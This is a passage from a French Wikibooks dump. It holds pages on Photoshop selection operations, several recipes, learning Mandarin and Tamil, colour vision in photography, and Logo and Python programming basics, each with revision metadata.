surfaces A et B, éclairées par les deux sources, sont vues par l'œil, placé en O, à travers un prisme biréfringent P et un nicol tournant N ; les dimensions de l'appareil sont telles que l'image polarisée horizontalement que le prisme P donne de la surface A, se superpose exactement avec l'image polarisée verticalement que le même prisme P donne de la surface B. Dans ces conditions, le nicol, en tournant, éteint alternativement et progressivement une image après l'autre. Il n'y a plus aucun bord de séparation passant dans le champ. |- |} Adobe Photoshop – Opérations entre les sélections 5685 25071 2005-11-06T15:21:10Z Inisheer 631 /* Intersection */ {{Photoshop}} Par défaut, lorsqu'une sélection est déjà active alors que l'utilisateur en effectue une nouvelle, cette dernière sélection remplace la première. Il est cependant possible de faire interagir plusieurs sélections successives grâce aux options ''addition'', ''soustration'' et ''intersection''. Ces options sont disponibles dans la barre d'option de chaque outil de sélection ainsi que via un raccourci clavier. Les opérations sont disponibles pour tous les outils de sélection. Il est tout à fait possible de changer d'outil tout en conservant la même opération. [[Image:Photoshop – opérations entre sélections.png|thumb|73px|left|De gauche à droite: Nouvelle sélection, Ajouter à la sélection, Soustraire à la sélection et Sélectionner l'intersection.]] ==Addition== L'option Addition permet d'ajouter chaque nouvelle sélection à la sélection existante. ==Soustraction== Contrairement à l'option Addition, l'option Soustraction retire les derniers pixels sélectionnés de la sélection en cours. Cette option est utile lorsqu'une valeur de tolérance trop élevée a eu pour effet d'ajouter à la sélection des pixels qui ne devaient pas y figurer. ==Intersection== Avec l'opération intersection, la sélection finale sera composée de l'intersection entre la sélection préexistante et la nouvelle. S'il n'y a aucun pixel commun aux deux sélections, la sélection est désactivée. Cuisine:Recettes végétariennes 5687 26313 2005-12-01T08:19:19Z 84.7.97.20 /* Tartes */ suppression de la tarte, elle était pas végétarienne, elle est dans végétaliennes, alien! {{Livre de cuisine}} #[[Purée au brèdes-Mafanes]] ==Ragout ou potée== #[[Cuisine:Potée du Soir|Potée du soir]] Cuisine:Potée du Soir 5688 24066 2005-10-23T16:05:27Z Jonathaneo 457 création {{Livre de cuisine}} L'intéret de cette recette est de présenter un repas nourrissant, simple, rapide et peu onéreux. ==Ingrédients== *2 feuilles de Bettes *2-3 pommes de terre (Nicolas) *1 volume de pates (nouilles) *noix ou chataignes *maïs sec (non moulut) *environ 4 volumes d'eau (pour recouvrir le tout dans la casserole) *1 aubergine (de taille moyenne) ==recette== *Peler les pommes de terre et les mettre dans la casserole. couper environ la moitié de l'aubergine en petit cube grossier dans la casserole. *préparer les cardes de bettes comme d'habitude. coupez les pour les mettre dans la casserole *Mettez les pates puis recouvrez d'eau, ajoutez le maïs et les noix ou chataignes. *Laissez cuire à feu doux pendant une durée moyenne. Mangez dans un bol avec une cueillère. Ce repas correspond à une fin d'été, calle mais n'est pas lourd. Cuisine:Tarte aux brocolis et au jambon 5689 24072 2005-10-23T16:18:54Z Jonathaneo 457 création {{Livre de cuisine}} ==Ingrédients== *Une pâte brisée *un talon de jambon de taille moyenne *du fromage rapé *une grosse tête de brocolis *4-5 oeufs ''facultatif'' de la crème fraîche ==Recette== *Faites cuire les brocolis à l'étoufé pendant 1/4 d'heure - 20 minutes (utilisez l'eau pour des pommes de terre afin de préparer un futur repas et économiser l'eau. *Roulez la pâte brisée sur un moule soit huilé soit dans un papier sulfurisé, faites des trous avec une fourchette sur la pâte. *Un fois cela fait, faites les oeufs en omelettes dans un bol en incorporant le fromage rapé (et la crême fraiche). Vous aurez prédécoupez le jambon en autant de dés que vous voudrez. Versez les oeufs dans la pâte, puis vous ajouterez les brocolis dans la pâte. *Faîtes préchauffer le four au maximum pendant 10 minutes, puis mettez la pâte entre 20 minutes et 1 demi-heure afin de solidifiez les oeufs et le fromage en oubliant pas de baisser la température. Faites juste griller le dessus. Méthodes de chinois (mandarin) pour devenir sinophone 5691 42385 2006-05-15T19:28:12Z 86.201.138.11 /* Oral */ Pour atteindre un niveau "avancé" à "courant" en chinois mandarin, on peut se donner par exemple les objectifs suivants à atteindre : === Oral === * Phonétique : maitrise parfaite des consonnes et des tons * Écoute : abilité à dégager le sens global d'une émission radio ou télévisée, sans en connaitre le contexte préalable. * Dialogue : possibilité de dialoguer en construisant et improvisant des phrases dans des contextes variés. Abilité à intégrer et déduire rapidement un vocabulaire spécialisé === Écrit === * Caractères : reconnaissance instantanée d'un spectre variant entre mille et deux mille caractères chinois. * Lecture fluide d'un texte en caractères chinois simplifiés. * Capacité à reconnaitre ou déduire plusieurs centaines de caractères traditionnels. * Capacité à écrire rapidement et de façon suffisament lisible ; de même, capacité à lire les styles cursifs courants. Ces critères correspondent plus ou moins à ceux prescrits au niveau de maitrise a l'Institut National des Langues Orientales. Il demande plusieurs années d'apprentissage et / ou de séjour en Chine. Le temps d'étude peut compenser un déplacement prolongé en Chine, mais un séjour prolongé en Chine ne peut remplacer à lui seul un minimum de temps d'étude. Le terme "sinophone" est ambigu, mais suggère une grande familiarité culturelle avec la Chine, qui rend indispensable un séjour prolongé en Chine ou dans les communautés chinoises : dans le cas du mandarin, peu de communautés d'outre-mer offrent un environnement linguistique adéquat, en raison des nombreux autres dialectes présent. Cuisine:Rognons à la douaisienne 5693 24092 2005-10-23T17:30:48Z 82.216.155.81 /* Les rognons à la douaisienne */ == Les rognons à la douaisienne == Les '''rognons à la douaisienne''' sont une recette locale bien qu'existant ailleurs dans la région. Elle appartient aux traditions d'une cuisine familiale. On connait aussi cette recette sous le nom de "rognons en ramequins". ====Ingrédients==== Pour 1 personne * 1 rognon de porc * Mie de pain (rassi de préférence) * Ail (fumé d'Arleux bien entendu) * Persil * Lait * Oeuf * Cognac (ou autre eau de vie) ====Préparation==== Préparation : 15 minutes Cuisson : 1 heure environ # Les rognons doivent être nettoyés soigneusement pour éviter tout goût désagréable. # Préparer la farce en trempant la mie de pain dans l'oeuf battu additionné de lait. Incorporer l'ail et le persil haché dans la préparation en quantité raisonnable. La farce doit &ecirc;tre humide mais conserver une bonne consistence. # Farcir les rognons et les ficeler. # Dans une cocotte (ou une casserole), faire revenir au beurre les rognons à feu fort. Les flamber à l'eau de vie (c'est optionnel) et , sans oublier ni le sel ni le poivre, compléter le jus au bouillon (ou même à l'eau) de façon à obtenir une sauce moyennement épaisse (que l'on peut lier à la farine) qui accompagnera les pommes de terres à l'eau servies en garniture. On n'hésitera pas à cuire le reste de farce dans la sauce. Laisser mijoter une petite demi heure à feu doux. ====Accompagnement==== Servir avec des pommes de terre cuites à la vapeur. Accompagner d'une bonne bière (une Goudale par exemple). Enseignement du tamoul 5695 24124 2005-10-23T21:43:16Z Chirosophe 728 {{tamoul}} Le '''tamoul''' est une langue dravidienne parlée en Inde du sud et dans de nombreux pays où des Indiens ont émigrés. * [[Alphabet tamoul]] Alphabet tamoul 5696 24726 2005-11-01T22:39:52Z Chirosophe 728 prononciation {{tamoul}} {| | |a |aa |i |ii |u |uu |e |ee |ai |o |oo |ow |- | |அ |ஆ |இ |ஈ |உ |ஊ |எ |ஏ |ஐ |ஒ |ஓ |ஔ |- |க் |க |கா |கி |கீ |கு |கூ |கெ |கே |கை |கொ |கோ |கௌ |- |ங் |- |ச் |- |ஞ் |- |ட் |- |ண் |- |த் |- |ந் |- |ப் |- |ம் |- |ய் |- |ர் |- |ல் |- |வ் |- |ழ் |- |ள் |- |ற் |- |ன் |- |} Modèle:Tamoul 5697 24133 2005-10-23T22:15:45Z Chirosophe 728 {| style="border:1px black solid; margin=5px 5px 1em 1em;width:160px;" cellspacing="0" cellpadding="5" align="right" |- | *[[Enseignement du tamoul]] |} Cuisine:Recettes de cuisine coréenne 5699 24149 2005-10-24T08:28:29Z Greudin 1 [[Cuisine:Recettes de cuisine coreenne]] déplacé vers [[Cuisine:Recettes de cuisine coréenne]] '''Sam-gye-tang / Soupe de poulet''' Voici une soupe chaude, riche et delicieuse. ==Ingrédients== Pour une recette plus nutritive et revigorante pour affronter l'hiver, vous pouvez ajouter une racine de [[w:Ginseng|Ginseng]] (insam ou 인 삼 ) : Ingrédients pour une personne : * 1 beau poulet * du riz agglutine, bien collant * de l'ail * des jujubes seches * des poireaux * du sel * du poivre ==Recette== # Nettoyez proprement le poulet et retirez-lui les abats. # Mettez du riz cuit, bien agglutine, de l'ail et les jujubes seches dans l'abdomen de la volaille : en bref, fourrez-la comme une dinde ! # Refermez le ventre, un fil aidant, afin de ne pas en renverser le contenu. # Mettez le poulet dans une marmite et ajoutez les poireaux. # Apres avoir mis suffisament d'eau pour le recouvrir, faites-le boullir (et c'est le plus important pour le gout de la soupe et sa facilite a manger le poulet par la suite) jusqu'a ce que la chair soit parfaitement tendre. # Une fois cuit, retirez le poulet, enlevez le fil et mettez-le dans un grand bol prevu a cet effet. # Avant de deguster, ajoutez quelques pincees de sel et de poivre. [[catégorie:cuisine coréenne]] Catégorie:Cuisine coréenne 5701 24147 2005-10-24T08:27:32Z Greudin 1 n+1 cat [[catégorie:cuisine]] Photographie - 05 - Notions sur la vision des couleurs 5704 44353 2006-06-11T22:16:08Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_05}} L'impression de lumière blanche (lumière solaire, par exemple), est en réalité la superposition des impressions laissées sur la rétine par chacune des radiations colorées du spectre visible. Le savant anglais Young écrivait en 1802 : ''... comme il est à peu près impossible de se figurer que chaque point de la rétine puisse contenir un nombre infini de particules, chacune en état de vibrer en parfait accord avec une ondulation quelconque, il devient nécessaire de supposer leur nombre limité aux trois couleurs fondamentales...'' [[Image:Fig retine.png|400px|right]] On n'a jamais pu confirmer le caractère triple des fibres isolées du nerf optique. On sait seulement que les cellules visuelles sont de deux espèces : * des '''bâtonnets''' qui fonctionnent seuls pour les faibles éclairements, donnant une vision littéralement en noir et blanc, * des '''cônes''' qui entrent en action lors­que la lumière devient suffisamment intense, per­mettant alors la vision des couleurs. Comme nous le verrons plus tard, la répartition de ces deux types de cellules n'est pas uniforme, loin de là, sur la surface de la rétine. Les cônes et bâtonnets sont représentés sur la partie droite de ce schéma, dans la couche brun clair. Ils sont reliées à des cellules unipolaires, elles-mêmes reliées à des cellules multipolaires par des synapses représentées dans la couche jaune orangée. Ces cellules multipolaires sont ensuite reliées au nerf optique par d'autres synapses représentées dans la bande violacée ; les fibres du nerf optique, qui sont le prolongement direct du cerveau, sont dessinées à gauche du schéma. On pourrait logiquement s'attendre à ce que les cônes et bâtonnets tapissent la partie la plus interne de l'œil, mais il n'en est rien : curieusement, ces cellules sont dans la partie externe de la rétine, contre la choroïde qui est la membrane rigide de l'œil, tandis que les terminaisons du nerf optique tapissent la paroi interne de la rétine. La lumière traverse donc l'ensemble de ces cellules avant d'arriver aux cônes et aux bâtonnets. Lorsque des radiations de différentes longueurs d'onde viennent frapper un même point de la rétine, elles y produisent la sensation d'une couleur dont l'œil est incapable de discer­ner les composantes, contrairement à l'oreille qui sait analyser le timbre d'un son de fréquence donnée en y décelant les harmoniques (par exemple, distinguer le ''la'' d'un violon du ''la'' d'un piano ou d'une clarinette). La loi fondamentale de Grassmann précise qu''''en mélangeant par addi­tion, dans des proportions convenables, trois radiations appropriées, il est possible de reproduire n'importe quelle impression colorée'''. On peut en effet vérifier expérimentalement ce fait en comparant deux plages lumineuses dont l'une reçoit le rayonnement à reconstituer et l'autre les faisceaux superposés de trois projecteurs monochromatiques réglables en intensité. Nous verrons qu'il existe tout de même quelques exceptions. Avant d'envisager l'étude de la colorimétrie, qui sera l'objet du chapitre 21, nous devons dès à pré­sent prendre conscience du caractère trivariant de la perception lumineuse. La description d'une couleur dans le langage courant fait intervenir trois '''facteurs de sensation''' : * la '''teinte''' ou '''chrominance''' : rouge, vert, brun, etc., * la '''luminosité''' qui caractérise l'intensité de la sensation, * la '''saturation''' qui correspond à une plus ou moins grande dilution par la lumière blanche. Les couleurs du spectre peuvent être qualifiées de '''vives''' (vert, jaune, orangé), ou de profondes (bleu, violet, rouge), mais sont toujours saturées. Au contraire, les couleurs pigmentaires sont généralement diluées de blanc (couleurs '''pâles''') ou de noir (couleurs '''rabattues'''). Certaines couleurs qui paraissent saturées ne figurent pas dans les spectres résultant de la décomposition des lumières blanches. C'est en particulier le cas des pourpres. Programmation Logo Listes 5705 42314 2006-05-14T20:09:56Z Tensai 654 {{Programmation Logo}} MOTS et LISTES ==Les Mots== Un mot LOGO peut comporter zéro élément (c'est le mot vide : " ), ou un seul élément (exemple : "a ), ou plusieurs éléments (exemple : "anticonstitutionnellement ). On considère un mot de plusieurs éléments comme la concaténation de mots d'un élément. Fonctions portant sur les mots : {| !Code !Renvoie !Exemple de code !Ce que ça affiche |- |COMPTE :mot | align="center"|Le nombre d'éléments de :mot | align="center"|ECRIS COMPTE "abc | align="center"|3 |- |MOT :mot1 :mot2 | align="center"| Un mot qui est la concaténation de :mot1 et :mot2 | align="center"|ECRIS MOT "Lo "go | align="center"|Logo |- |PREMIER :mot | align="center"|Le premier élément de :mot | align="center"|ECRIS PREMIER "abc | align="center"|a |- |DERNIER :mot | align="center"|Le dernier élément de :mot | align="center"|ECRIS DERNIER "abc | align="center"|c |- |SAUFPREMIER :mot |align="center"|:mot sans son premier élément | align="center"|ECRIS SAUFPREMIER "abc | align="center"|bc |- |SAUFDERNIER :mot | align="center"|:mot sans son dernier élément | align="center"|ECRIS SAUFDERNIER "abc | align="center"|ab |} ==Les Listes== Une liste peut comporter zéro élément, ou un seul élément, ou plusieurs éléments. Un élément d'une liste peut être un mot OU UNE LISTE. Exemples de listes : à zéro élément (liste vide) : [] à un élément : [abc] ou : [ [1 2 3] ] ou même : [[Jean Dupont [place du marché] [46200 Souillac]]] à plusieurs éléments : [x y z] ou : [Jean Dupont [place du marché] [46200 Souillac]] Fonctions portant sur les listes : Les fonctions COMPTE, PREMIER, DERNIER, SAUFPREMIER et SAUFDERNIER opèrent de la même manière sur une liste que sur un mot. Trois autres fonctions opèrent seulement sur des listes : LISTE :élément1 :élément2 renvoie une liste composée des DEUX éléments, :élément1 et :élément2 Exemple : ECRIS LISTE "Logo [un langage ultra puissant] Le programme affichera [Logo [un langage ultra puissant]] METSPREMIER :élément :liste renvoie la liste :liste augmentée de :élément en première position Exemple : ECRIS METSPREMIER [Le langage Logo] [va plus loin que les petits dessins] Le programme affichera [[Le langage Logo] va plus loin que les petits dessins] METSDERNIER :élément :liste renvoie la liste :liste augmentée de :élément en dernière position Exemple : ECRIS METSDERNIER 8 [1 1 2 3 5] Le programme affichera [1 1 2 3 5 8] Programmation Python Structure de contrôle 5707 44622 2006-06-16T09:56:36Z Boly38 136 {{Programmation Python}} {{Programmation Python}} == notion de bloc, instruction pass == == l'instruction if == == l'instruction while == == l'instruction for == == les instructions break, continue == Programmation Python Type de données complexe 5708 44623 2006-06-16T09:56:48Z Boly38 136 {{Programmation Python}} {{Programmation Python}} == Les chaînes de caractères == == Les tuples == == Les listes == == Les dictionnaires == == Les fonctions== == Les modules== Programmation Python Programmation orienté objet 5709 44625 2006-06-16T09:57:37Z Boly38 136 {{Programmation Python}} {{Programmation Python}} == La programmation orienté objet == === Classes et objets=== {{Exemple|Exemple 1|Exemple de classe| <pre> class MaClasse: # définir ici les m&eacute;thodes </pre> }} === Constructeur, destructeur=== {{Exemple|Exemple 2|Classe avec constructeur| <pre> class Complexe: def __init__(self, r, i): self.reel = r self.img = i </pre> }} === Encapsulation des données=== === Héritage=== {{Exemple|Exemple 4|Classe héritant d'une autre| <pre> class Triangle(FormeGeometrique): def __init__(self): # Cr&eacute;ation d'un triangle </pre> }} ===Polymorphisme=== Programmation Python Structure d'un programme 5710 38653 2006-03-23T20:11:03Z 134.214.152.149 Exemple d'insctructions: c'est mieux quand ça fonctionne ;) La structure d'un programme Python est certainement ce qui étonne le plus le programmeur ayant l'habitude d'un langage plus traditionnel comme le [[Programmation C|C]]. L'absence de point-virgule ('';'') et surtout l'absence d'accolade (''{}'') sont en effet déroutantes à première vue. == Les instructions == Un programme Python est composé d''''instructions'''. Une instruction est un ordre unitaire donné à un programme. Par exemple ''afficher Bonjour'' est une instruction, de même que ''calculer un plus un''. Les instructions sont séparées dans le programme, soit par un point-virgule ('';''), soit par un retour à la ligne. L'interpréteur Python commence par analyser la première ligne : * si celle-ci contient une instruction, alors il l''''exécute''' * si l'instruction n'est pas une '''instruction de contrôle''', alors, il passe à la ligne suivante, l'analyse et l'exécute * si le programme Python arrive à la fin du fichier à exécuter, alors, il '''sort''' du programme et en arrête l'exécution. {{Exemple|Exemple 1|quelques instructions| <pre> print "Bonjour" 1+1 c = 3e5 e = m*c**2 a, b, c = 1, 2, 3 discriminant = b**2-4*a*c lambda x,y : x + y dico1 = {'prénom':'Eric', 'nom':'tartempion'} print ("Bonjour %s" % dico1['nom']) </pre> }} == Les commentaires == Une ligne commençant par un dièse (''#'') n'est pas prise en compte par l'interpréteur. De même pour tous les caractères qui sont mis à la suite d'un dièse. Cette dernière règle ne s'applique pas lorsque le dièse est positionné dans une chaîne de caractères. {{Exemple|Exemple 1|On notera que la fonction ''print'' affiche son argument.| <pre> #Toute cette ligne est un commentaire. print "Bonjour le monde" #Ceci est également un commentaire print "Bonjour"; print "Le monde"; #Ceci est une ligne comportant #plusieurs instructions print "Cette ligne ne contient pas de #commentaire" </pre> }} == Notion de bloc d'instructions == Un '''bloc d'instructions''' est une suite d'instructions qui est alignée sur la même tabulation. Les blocs d'instructions sont crées par les instructions de contrôles comme ''if'', ''while'' et ''for'', ainsi que par les instructions permettant de déclarer des '''fonctions'''. {{Exemple|Exemple 2|Les blocs| <pre> #Ce bloc d'instruction est collé contre le bord gauche du fichier print "Je suis dans le premier bloc" print "Je suis toujours dans le premier bloc" if (a == 12) : #L'instruction ''if'' initie un nouveau bloc #Ce bloc est a quatre espace du bord print "Je suis dans le second bloc" print "Je suis encore dans le second bloc" if (b == 13 ) : #Il est possible d'imbriquer des blocs dans des blocs print "Je suis dans un troisième bloc" print "et ici aussi" print "Je reviens dans le second bloc" print "Je suis revenue dans le premier bloc" </pre> }} Il est très important de noter que les blocs doivent être ''tracés au cordeau''. C'est à dire que si j'initie mon bloc avec huit espaces avant la première instruction, je dois toujours mettre huit espaces devant chacune des instructions de ce bloc. Il n'est pas possible de mélanger des tabulations et des espaces. Si deux lignes semblent se trouver à la même distance du bord gauche, mais que l'une contient des espaces et l'autre des tabulations, alors l'interpréteur pourra générer l'erreur suivante : ''IndentationError: unindent does not match any outer indentation level'' Pour éviter ce genre d'eccueil, il convient de toujours utiliser le même type d'indentation. Vous pouvez, par exemple, utiliser la touche tabulation et configurer votre éditeur pour qu'il remplace la tabulation par des espaces, ou utiliser de vraies tabulations. La première méthode est notamment la convention utilisée pour la librairie standard de Python, la seconde ayant l'avantage de fonctionner avec tous les éditeurs (et ainsi, de pouvoir être plusieurs sur le même projet avec des éditeurs différents). {{lienDePage|Programmation Python|Base du langage|Variable}} Programmation Python Variable 5711 44618 2006-06-16T09:55:25Z Boly38 136 {{Programmation Python}} {{Programmation Python}} Une '''variable''' est un espace mémoire dans lequel il est possible de mettre une '''valeur'''. Par exemple, si en français je dis ''x est égal à 1'', j'utilise la variable dont le nom est ''x'' pour lui fixer la valeur ''1''. Pour faire la même chose en Python, je note simplement : {{exemple|Exemple 2|Une simple affectation| <pre> x=1 </pre> }} On dit que « je procéde à l''''affectation''' de la variable x ». En Python, le symbole ''='' est également nommé l''''opérateur d'affectation'''. == Création de variables == En Python, les variables sont crées automatiquement à leur première utilisation. Pour créer une variable, il suffit donc de l'utiliser en l'affectant une première fois, c'est à dire d'écrire ''nom_variable=valeur_de_la_variable''. La valeur de la variable peut être un '''litéral''', c'est à dire une constante, ou bien une '''expression'''. L'expression est évaluée avant d'être affecté à la variable {{exemple|Exemple 3|création de variables| <pre> x = 1 #On affecte la variable x avec la valeur du litéral 1 y = 1+1 #On affecte la variable y avec la valeur de l'expression 1 + 1 z = x + y </pre> }} == Nom des variables == Une variable peut prendre n'importe quel nom, tant qu'elle respecte les règles suivantes : * Son nom commence par une lettre minuscule (a à z) ou majuscule (A à Z), ou bien par le caractère ''souligné'' (''_'') * Pour la suite de son nom, on peut utiliser les lettres minuscules et majuscule, le souligné et un chiffre (0 à 9) * Son nom ne doit pas être un '''mot réservé'''. <center> {{:Programmation Python Tableau des mots réservés}} </center> {{exemple|Exemple 3|Les noms suivants peuvent être utilisés comme nom de variable| <pre> x X toto Toto _ _toto _toto_ </pre> }} {{exemple|Exemple 4|Les noms suivants ne peuvent pas être utilisés comme nom de variable| <pre> 41toto #On ne commence pas par un chiffre éric #Contient un caractère ''é'' qui n'est pas autorisé </pre> }} Il faut également noter que les variables dont le nom commence par le caractère _ ont une signification particulière : * les noms commençant par un _ ne sont pas exportés lorsqu'ils se trouvent dans un [[Programmation Python module|module]]; * les noms commençant par deux _ et finissant par deux _ sont réservés par le langage lui même, notamment pour la [[Progammation Python Programmation orienté objet|Programmation orienté objet]]. Le nom des variables est sensible à la casse, ainsi ''toto'' et ''Toto'' ne désignent pas la même variable. == Conseil sur le nom des variables == En général, les noms de variables sont toujours en minuscule, la majuscule du début est souvent réservée pour les noms des classes. Pour nommer une variable il convient surtout de la nommer en fonction de ce qu'elle est censée faire ou représenter. Ainsi, ''x'', ''toto'', ''A11'', ne sont pas de bons noms de variable. Par contre ''hauteur'', ''personne'', ''cellule'' désignent mieux ce qu'elles sont censées représenter et aident un autre programmeur à comprendre ce qui a été fait. Si le nom d'une variable doit comporter plusieurs mots, il y a deux possibilités d'écrire le nom de la variable : * ''à la C'', c'est à dire en séparant les mots par le caractère _ Exemple : ''marge_brut'' * ''à la Java'', c'est à dire en séparant les mots par un passage en haut de casse (lettre majuscule). Exemple : ''margeBrut'' Il est mieux d'éviter les abréviations : nb pour nombre, h au lieu de hauteur, etc. Il convient également d'éviter autant que possible l'énumération de variables (toto1, toto2, toto3, ...), cela rend le programme parfaitement incompréhensible et sujet à des erreurs. Il est possible de préfixer le nom de la variable par son type. Par exemple int_margeBrut, str_message_de_bienvenue. Cela alourdit très fortement le programme. On pourra par exemple s'inspirer de la notation hongroise qui formalise ce mécanisme. D'autres notations existent ou peuvent être imposées en fonction d'un projet, des habitudes d'une entreprise, etc. == Les références == Formellement, les variables Python sont des '''références''', c'est à dire que écrire a = ((1,0,0),(0,1,0),(0,0,1)) ne signifie pas que a vaut ((1,0,0),(0,1,0),(0,0,1)) mais que a référence le n-uplet ((1,0,0),(0,1,0),(0,0,1)). La différence est que ensuite, une autre variable peut référencer le même n-uplet, simplement avec b = a. Si on modifie b, alors a sera également modifié. {{exemple|Exemple 5|L'utilisation des références| <pre> >>> a = [(1,0,0), (0,1,0), (0,0,1)] >>> b = a >>> print a [(1,0,0), (0,1,0), (0,0,1)] >>> print b [(1,0,0), (0,1,0), (0,0,1)] >>> b[0] = (1,1,0) >>> print b [(1,1,0), (0,1,0), (0,0,1)] >>> print a [(1,1,0), (0,1,0), (0,0,1)] </pre> }} Notez que a et b ne sont pas "liés", ils référencent simplement le même objet. Si ensuite on fait référencer à a un nouvel objet (par l'intermédiaire de l'opérateur d'affectation "="), b référencera toujours l'ancien objet, et une modification de l'un des objets ne modifiera pas l'autre. {{exemple|Exemple 6|Indépendances des variables| <pre> >>> a = [1,2,3] >>> b = a >>> print a [1,2,3] >>> print b [1,2,3] >>> a = [4,5,6] >>> print b [1,2,3] >>> print a [4,5,6] >>> a.append(7) >>> print a [4,5,6,7] >>> print b [1,2,3] </pre> }} Notez enfin que ceci ne fonctionne pas pour les nombres: {{exemple|Exemple 7|Références et nombres| <pre> >>> a = 5 >>> b = a >>> print a 5 >>> print b 5 >>> b += 5 >>> print b 10 >>> print a 5 </pre> }} {{lienDePage|Programmation Python|Structure d'un programme|Type}} Programmation Python Type 5712 44646 2006-06-16T12:31:04Z Boly38 136 /* Les chaînes, introduction */ exemple passait pas {{Programmation Python}} L'objectif de cette section est la découverte des types de données Python et de la façon dont on les écrits sous formes litéral. L'étude complète des types complexe nécessite l'étude complète des structures de contrôles et sera donc abordé postérieurement. == Type de données == Python est un langage dont le typage est automatique. Cela signifie que bien que gérant différents types, lorsqu'une variable est affectée, l'interpréteur trouvera automatiquement son type. {{:Programmation Python Tableau des types}} == La fonction ''type()'' == La fonction type() permet de connaître le type d'une variable {{exemple|Exemple 1|utilisation de la fonction type| <pre> >>> a=3 >>> type(a) <type 'int'> </pre> }} == Les nombres == Il existe deux types pour définir des nombres entiers : le type '''int''' et le type '''long'''. Il existe également un type pour représenter des nombres à virgule : le type '''float'''. === Les nombres entiers de type ''int'' === Les int représentent le type le plus facilement représentable sur une architecture donnée. Par exemple, sur une machine 32-bits, la taille d'un int sera de 32-bit, donc un int permettra de représenter des nombres entre <math>-2^31+1</math> et <math>2^31-1</math>, soit entre -2 147 483 647 et 2 147 483 647. Un litéral int s'écrit tous simplement avec les chiffres de 0 à 9, précédé éventuellement du symbole -. Il est possible d'écrire ce litéral suivant trois bases : *la base décimal : le litéral devra commencer par un chiffre entre 1 et 9 *la base octal (base 8) : le litéral devra commencer par 0 suivie de chiffre de 0 à 7 *la base héxadécimal (base 16): le litéral devra commencer par 0x suivie de chiffre de 0 à 9 et de lettre de A à F (en minuscule ou majuscule) {{exemple|Exemple 2|Quelques entiers ''int''| <pre> x=1 x=0 x=-33 x=4566 x=2147483647 x=076 #equivalent à x=62 x=0xFF #équivalent à x=255 x=0xa1 #équivalent à x=161 </pre> }} === Les nombres entiers de type ''long'' === Un entier long est un entier dont la taille n'est limitée que par la mémoire allouée par l'ordinateur à l'interpreteur Python. C'est à dire qu'un long permet d'écrire des entiers aussi grand que l'on veut. Il existe deux manières d'utiliser des long : * il faut rajouter L ou l à la fin d'un littéral entier pour qu'il soit automatiquement long * lorsque le résultat d'une opération dépasse la capacité de stockage d'un int, alors, ce résultat est automatiquement convertit en long {{exemple|Exemple 3|Quelques entiers ''long''| <pre> x=1L x=-45l x=121212121212121212121212121 #Automatiquement convertit en long x=2147483647+1 </pre> }} Il n'est pas nécessaire d'utiliser le type long de manière systèmatique : pour les entiers de taille raisonnable, le type int est beaucoup plus optimisé. Pour convertir un long en int (et inversement), il est possible d'utiliser les fonctions int() et long(). {{exemple|Exemple 4|Utilisation des fonctions int() et long()| <pre> x = int(1L) #x est un int x = long(1) #x est un long x = int(12121212121212121) #x est quand même un long </pre> }} === Les nombres à virgule flottante (''float'') === Un nombre à virgule flottante est un nombre décimale dont qu'il est possible de représenter par sa mantisse et son exposant. Par exemple, le nombre 125,789 est représentable par le couple (mantisse = 1,25789, exposant = 2). La mantisse étant toujours comprise entre 1 et 10. Les nombres sont traduits par la formule <math>nombre = mantisse*10^{exposant}</math>. Les limites dépendent de l'architecture de la machine et sont équivalentes au type de donnée double du langage C. Les littéraux peuvent s'écrire avec les chiffres, le caractère virgule pour indiquer la séparation entre la partie entière et la partie décimale et la lettre 'e' ou 'E' pour spécifier l'exposant. {{exemple|Exemple 5| nombres à virgules| <pre> x = 1.234 x = 1.0 #Notons qu'un entier peut être un flottant x = 1. #Même résultat que précédemment x = 1.234e54 #C'est à dire <math>1.234*10^{54}</math> x = 1.234E54 #idem x = -1.454e-2 #La mantisse et l'exposant peuvent être négatifs </pre> |}} === Les nombres complexes === Python est un des rares langages à proposer un type de base pour les nombres complexes <math>\mathbb{C}</math>. Un nombre complexe est un nombre composé d'une partie réelle et d'une partie imaginaire. On note <math>i</math> une des racines du polynôme <math>x^2 = -1</math>. (voir aussi l'[[w:fr:Nombre complexe|article de wikipédia sur les nombres complexes]] ) En anglais, le nombre ''i'' est noté ''j''. Il en est de même en Python. Un littéral complexe s'écrit donc : a + bj, avec a et b des variables de type float. Attention, j doit être précédé d'un nombre car sinon, Python l'interpretera comme étant la variable ''j''. Il ne doit pas y avoir d'espace entre ce nombre et ''j''. {{exemple|Exemple 5|quelques nombres complexes| <pre> x= 1 + 1j x = 1.2e3 + 1.5e7j x = 5j + 4 x = 1 + x*1j </pre> }} == Les booléens == Un booléan est un type de données qui ne peut prendre que deux valeurs : vrai ou faux. En Python, les constantes littérales sont notées ''True'' et ''False''. Tous les types de variables peuvent être interprétés de manière booléenne. Par exemple, pour les entiers (int), la valeur 0 correspond à faux et les autres valeurs à vrai. Il en est de même pour tous les autres types : une valeur particulière vaut ''False'' et le reste des valeurs ''True''. Le tableau suivant présente les valeurs "faux" pour les principaux type de données. {{:Programmation Python Tableau des valeurs False}} == Les chaînes, introduction == Les chaînes de caractère sont des suites de caractère non modifiable en Python. Les litéraux ''chaînes'' s'écrivent soit entre guillement, soit entre simple quote. Il est possible de mettre des quote (respectivement des guillements) dans une chaine entouré de guillement (respectivement, de quote). {{exemple|Exemple 7|chaînes de caractère|<pre> a = "Bonjour" a = 'Bonjour' a = "Je m'appelle Pierre" a = 'Il lui a dit : "Bonjour"' </pre> }} Pour une étude plus approfondie sur les chaînes, voir la section sur [[Programmation Python Les chaînes de caractères|les chaînes de caractères]]. == La conversion des types == Il existe plusieurs fonctions qui permettent de forcer le type d'une variable en un autre type. *int() : permet de modifier une variable en entier. Provoque une erreur si cela n'est pas possible. *long() : transforme une valeur en long. *La fonction ''str()'' permet de transformer la plupart des variables d'un autre type en chaînes de caractère. *float() : permet la transformation en flottant. *repr() : identique à str. Voir la partie sur les objets *eval() : évalue le contenu de son argument comme si c'était du code Python. {{lienDePage|Programmation Python|Variable|Opérateur}} Programmation Python Opérateur 5713 44620 2006-06-16T09:56:10Z Boly38 136 {{Programmation Python}} {{Programmation Python}} L'objectif de cette page est de permmettre la découverte des différents opérateur. L'utilisation des opérateurs sur des types complexes est reporté après l'étude des structures de contrôles. == Définition == Un ''opérateur'' est un symbole utilisé pour effectué un calcul entre des '''opérandes'''. Une opérande est une variable ou un littéral ou bien une '''expression'''. Une expression est une suite valide d'opérateurs et d'opérandes. Par exemple, dans l'expression : x = y + 1 Il y a deux opérateurs ( = et +) et trois opérandes (x,y et 1). Il existe différents types d'opérateur : *les opérateurs 